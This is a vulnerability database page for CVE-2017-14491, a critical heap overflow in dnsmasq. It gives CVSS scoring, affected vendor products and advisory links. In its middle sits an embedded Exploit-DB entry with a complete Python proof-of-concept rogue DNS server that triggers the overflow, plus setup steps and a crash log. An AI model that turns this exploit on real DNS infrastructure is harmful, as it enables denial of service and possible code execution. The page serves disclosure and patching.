CVE-2017-14491 : Detail

CVE-2017-14491

9.8
/
Critical
Overflow
54.35%V3
Network
2017-10-02
19h00 +00:00
2021-11-08
10h42 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Heap-based buffer overflow in dnsmasq before 2.78 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a crafted DNS response.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 42941

Publication date : 2017-10-01
22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

''' Sources: https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14491.py https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html 1) Build the docker and open three terminals docker build -t dnsmasq . docker run --rm -t -i --name dnsmasq_test dnsmasq bash docker cp poc.py dnsmasq_test:/poc.py docker exec -it <container_id> bash docker exec -it <container_id> bash 2) On one terminal let’s launch attacker controlled DNS server: # python poc.py 127.0.0.2 53 Listening at 127.0.0.2:53 3) On another terminal let’s launch dnsmasq forwarding queries to attacker controlled DNS: # /testing/dnsmasq/src/dnsmasq -p 53535 --no-daemon --log-queries -S 127.0.0.2 --no-hosts --no-resolv dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify dnsmasq: using nameserver 127.0.0.2#53 dnsmasq: cleared cache 4) Let’s fake a client making a request twice (or more) so we hit the dnsmasq cache: # dig @localhost -p 53535 -x 8.8.8.125 > /dev/null # dig @localhost -p 53535 -x 8.8.8.125 > /dev/null 5) The crash might not be triggered on the first try due to the non-deterministic order of the dnsmasq cache. Restarting dnsmasq and retrying should be sufficient to trigger a crash. ==1159==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62200001dd0b at pc 0x0000005105e7 bp 0x7fff6165b9b0 sp 0x7fff6165b9a8 WRITE of size 1 at 0x62200001dd0b thread T0 #0 0x5105e6 in add_resource_record /test/dnsmasq/src/rfc1035.c:1141:7 #1 0x5127c8 in answer_request /test/dnsmasq/src/rfc1035.c:1428:11 #2 0x534578 in receive_query /test/dnsmasq/src/forward.c:1439:11 #3 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2 #4 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7 #5 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9) 0x62200001dd0b is located 0 bytes to the right of 5131-byte region [0x62200001c900,0x62200001dd0b) allocated by thread T0 here: #0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700) #1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15 #2 0x54186c in main /test/dnsmasq/src/dnsmasq.c:99:20 #3 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) SUMMARY: AddressSanitizer: heap-buffer-overflow /test/dnsmasq/src/rfc1035.c:1141:7 in add_resource_record Shadow bytes around the buggy address: 0x0c447fffbb50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c447fffbb60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c447fffbb70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c447fffbb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c447fffbb90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c447fffbba0: 00[03]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c447fffbbb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c447fffbbc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c447fffbbd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c447fffbbe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c447fffbbf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1159==ABORTING ''' #!/usr/bin/python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <[email protected]> # Felix Wilhelm <[email protected]> # Gabriel Campana <[email protected]> # Kevin Hamacher <[email protected]> # Gynvael Coldwind <[email protected]> # Ron Bowes - Xoogler :/ import socket import struct import sys def dw(x): return struct.pack('>H', x) def udp_handler(sock_udp): data, addr = sock_udp.recvfrom(1024) print '[UDP] Total Data len recv ' + str(len(data)) id = struct.unpack('>H', data[0:2])[0] query = data[12:] data = dw(id) # id data += dw(0x85a0) # flags data += dw(1) # questions data += dw(0x52) # answers data += dw(0) # authoritative data += dw(0) # additional # Add the question back - we're just hardcoding it data += ('\x03125\x018\x018\x018\x07in-addr\x04arpa\x00' + '\x00\x0c' + # type = 'PTR' '\x00\x01') # cls = 'IN' # Add the first answer data += ('\xc0\x0c' + # ptr to the name '\x00\x0c' + # type = 'PTR' '\x00\x01' + # cls = 'IN' '\x00\x00\x00\x3d' + # ttl '\x04\x00' + # size of this resource record '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x3e' + 'Z'*62 + '\x0e' + 'Z'*14 + '\x00') # Add the next answer, which is written out in full data += ('\xc0\x0c' + # ptr to the name '\x00\x0c' + # type = 'PTR' '\x00\x01' + # cls = 'IN' '\x00\x00\x00\x3d' + # ttl '\x00\x26' + # size of this resource record '\x08DCBBEEEE\x04DDDD\x08CCCCCCCC\x04AAAA\x04BBBB\x03com\x00') for _ in range(79): data += ('\xc0\x0c' + # ptr to the name '\x00\x0c' + # type = 'PTR' '\x00\x01' + # cls = 'IN' '\x00\x00\x00\x3d' + # ttl '\x00\x02' + # size of the compressed resource record '\xc4\x40') # pointer to the second record's name data += ('\xc0\x0c' + # ptr to the name '\x00\x0c' + # type = 'PTR' '\x00\x01' + # cls = 'IN' '\x00\x00\x00\x3d' + # ttl '\x00\x11' + # size of this resource record '\x04EEEE\x09DAABBEEEE\xc4\x49') sock_udp.sendto(data, addr) if __name__ == '__main__': if len(sys.argv) != 3: print 'Usage: %s <ip> <port>\n' % sys.argv[0] sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_udp.bind((ip, port)) print 'Listening at %s:%d\n' % (ip, port) while True: udp_handler(sock_udp) sock_udp.close()

Products Mentioned

Configuraton 0

Thekelleys>>Dnsmasq >> Version To (including) 2.77

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 17.04

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 7.1

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Opensuse>>Leap >> Version 42.2

Opensuse>>Leap >> Version 42.3

Configuraton 0

Suse>>Linux_enterprise_debuginfo >> Version 11

Suse>>Linux_enterprise_debuginfo >> Version 11

Suse>>Linux_enterprise_point_of_sale >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 12

Configuraton 0

Nvidia>>Linux_for_tegra >> Version To (excluding) r21.6

Nvidia>>Jetson_tk1 >> Version -

Configuraton 0

Nvidia>>Linux_for_tegra >> Version To (excluding) r24.2.2

Nvidia>>Jetson_tx1 >> Version -

Configuraton 0

Nvidia>>Geforce_experience >> Version From (including) 3.0 To (excluding) 3.10.0.55

Microsoft>>Windows >> Version -

Configuraton 0

Huawei>>Honor_v9_play_firmware >> Version To (excluding) jimmy-al00ac00b135

Huawei>>Honor_v9_play >> Version -

Configuraton 0

Arista>>Eos >> Version To (including) 4.15

Arista>>Eos >> Version From (including) 4.16 To (excluding) 4.16.13m

Arista>>Eos >> Version From (including) 4.17 To (excluding) 4.17.8m

Arista>>Eos >> Version From (including) 4.18 To (including) 4.18.4.2f

Configuraton 0

Siemens>>Ruggedcom_rm1224_firmware >> Version To (excluding) 5.0

Siemens>>Ruggedcom_rm1224 >> Version -

Configuraton 0

Siemens>>Scalance_m-800_firmware >> Version To (excluding) 5.0

Siemens>>Scalance_m-800 >> Version -

Configuraton 0

Siemens>>Scalance_s615_firmware >> Version To (excluding) 5.0

Siemens>>Scalance_s615 >> Version -

Configuraton 0

Siemens>>Scalance_w1750d_firmware >> Version To (excluding) 6.5.1.5

Siemens>>Scalance_w1750d >> Version -

Configuraton 0

Arubanetworks>>Arubaos >> Version From (including) 6.3.1 To (excluding) 6.3.1.25

Arubanetworks>>Arubaos >> Version From (including) 6.4.4.0 To (excluding) 6.4.4.16

Arubanetworks>>Arubaos >> Version From (including) 6.5.0.0 To (excluding) 6.5.1.9

Arubanetworks>>Arubaos >> Version From (including) 6.5.3.0 To (excluding) 6.5.3.3

Arubanetworks>>Arubaos >> Version From (including) 6.5.4.0 To (excluding) 6.5.4.2

Arubanetworks>>Arubaos >> Version From (including) 8.1.0.0 To (excluding) 8.1.0.4

Configuraton 0

Synology>>Router_manager >> Version 1.1

Synology>>Diskstation_manager >> Version 5.2

Synology>>Diskstation_manager >> Version 6.0

Synology>>Diskstation_manager >> Version 6.1

References

http://www.securitytracker.com/id/1039474
Tags : vdb-entry, x_refsource_SECTRACK
http://www.debian.org/security/2017/dsa-3989
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securityfocus.com/bid/101085
Tags : vdb-entry, x_refsource_BID
http://www.ubuntu.com/usn/USN-3430-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securityfocus.com/bid/101977
Tags : vdb-entry, x_refsource_BID
https://access.redhat.com/errata/RHSA-2017:2838
Tags : vendor-advisory, x_refsource_REDHAT
https://www.kb.cert.org/vuls/id/973527
Tags : third-party-advisory, x_refsource_CERT-VN
https://security.gentoo.org/glsa/201710-27
Tags : vendor-advisory, x_refsource_GENTOO
https://access.redhat.com/errata/RHSA-2017:2840
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ubuntu.com/usn/USN-3430-2
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2017:2839
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2836
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2837
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/42941/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2017:2841
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ubuntu.com/usn/USN-3430-3
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.debian.org/security/2017/dsa-3989
Tags : vendor-advisory, x_refsource_DEBIAN